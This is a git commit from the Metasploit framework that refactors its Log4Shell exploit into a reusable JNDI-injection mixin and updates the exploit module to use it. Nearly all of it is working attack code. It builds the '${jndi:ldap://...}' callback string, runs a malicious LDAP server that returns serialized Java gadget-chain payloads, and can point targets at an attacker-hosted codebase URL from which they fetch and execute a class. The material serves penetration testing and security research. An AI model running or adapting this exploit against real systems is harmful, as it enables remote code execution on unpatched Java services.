Refactor Log4shell exploit code into reusable bits

This commit is contained in:
Spencer McIntyre 2022-01-12 18:12:29 -05:00
parent e093154865
commit 62a814fa59
2 changed files with 150 additions and 83 deletions

View File

@ -0,0 +1,136 @@
# -*- coding: binary -*-
#
# This is a mixin containing methods to facilitate exploiting JNDI injection flaws (such as Log4Shell) by using a
# malicious LDAP server.
#
# See:
# https://www.veracode.com/blog/research/exploiting-jndi-injections-java
# https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
#
module Msf
module Exploit::Remote::JndiInjection
include Msf::Exploit::Java
include Msf::Exploit::JavaDeserialization
include Msf::Exploit::Remote::LDAP::Server
def initialize(info = {})
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Aggressive))
register_advanced_options([
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
])
end
# Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
#
# @return [String] the JNDI string
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
end
## LDAP service callbacks
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
client.write(build_ldap_search_response(pdu.message_id, pdu.search_parameters[:base_object]))
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
else
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{pdu.app_tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
end
resp
end
#
# Generate and serialize the payload as an LDAP search response
#
# @param msg_id [Integer] LDAP message identifier
# @param base_dn [Sting] LDAP distinguished name
#
# @return [Array] packed BER sequence
def build_ldap_search_response(msg_id, base_dn)
attrs = build_ldap_search_response_payload
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
#
# Build the LDAP response to the search request that contains the serialized payload.
#
# @return [Array] the array of attributes to add to the returned search data of the query response.
def build_ldap_search_response_payload
# exploit authors should override this and either call the inline one with a gadget chain that is compatible with
# the target or setup an HTTP server and call the remote one
build_ldap_search_response_payload_inline('BeanFactory')
end
#
# Build the LDAP response to the search request that contains the serialized payload to be executed.
#
# @param [String] gadget_chain The gadget chain to use to execute the payload. This value must be compatible with the
# target application.
# @return [Array] the array of attributes to add to the returned search data of the query response.
def build_ldap_search_response_payload_inline(gadget_chain)
java_payload = generate_java_deserialization_for_payload(gadget_chain, payload)
[
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
]
end
#
# Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class
# will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP
# server from which the class is hosted is not managed by this method.
#
# @param [String] pay_url The URL from which the class should be loaded.
# @param [String] pay_class The payload class name.
# @return [Array] the array of attributes to add to the returned search data of the query response.
def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory')
[
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence,
]
end
def validate_configuration!
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
end
end
end

View File

@ -5,10 +5,8 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::JavaDeserialization
include Msf::Exploit::Java
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::LDAP::Server
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
@ -84,8 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
},
'Stance' => Msf::Exploit::Stance::Aggressive
}
)
register_options([
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
@ -95,8 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1',
Msf::Exploit::JavaDeserialization.gadget_chains
], conditions: %w[TARGET != Automatic]),
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic])
])
end
@ -111,10 +107,6 @@ class MetasploitModule < Msf::Exploit::Remote
@checkcode = super
end
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
end
def resource_url_string
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
end
@ -151,74 +143,12 @@ class MetasploitModule < Msf::Exploit::Remote
jar
end
#
# Generate and serialize the payload as an LDAP search response
#
# @param msg_id [Integer] LDAP message identifier
# @param base_dn [Sting] LDAP distinguished name
#
# @return [Array] packed BER sequence
def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
def build_ldap_search_response_payload
if target['RemoteLoad']
attrs = [
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
]
build_ldap_search_response_payload_remote(resource_url_string)
else
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
# vprint_good("Serialized java payload: #{java_payload}")
attrs = [
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
]
build_ldap_search_response_payload_inline(datastore['JAVA_GADGET_CHAIN'])
end
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
## LDAP service callbacks
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
else
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{pdu.app_tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
end
resp
end
## HTTP service callbacks
@ -290,6 +220,14 @@ class MetasploitModule < Msf::Exploit::Remote
super
end
def validate_configuration!
super
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
fail_with(Exploit::Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
end
end
private
# Boilerplate HTTP service code
@ -353,11 +291,4 @@ class MetasploitModule < Msf::Exploit::Remote
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
def validate_configuration!
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
end
end
end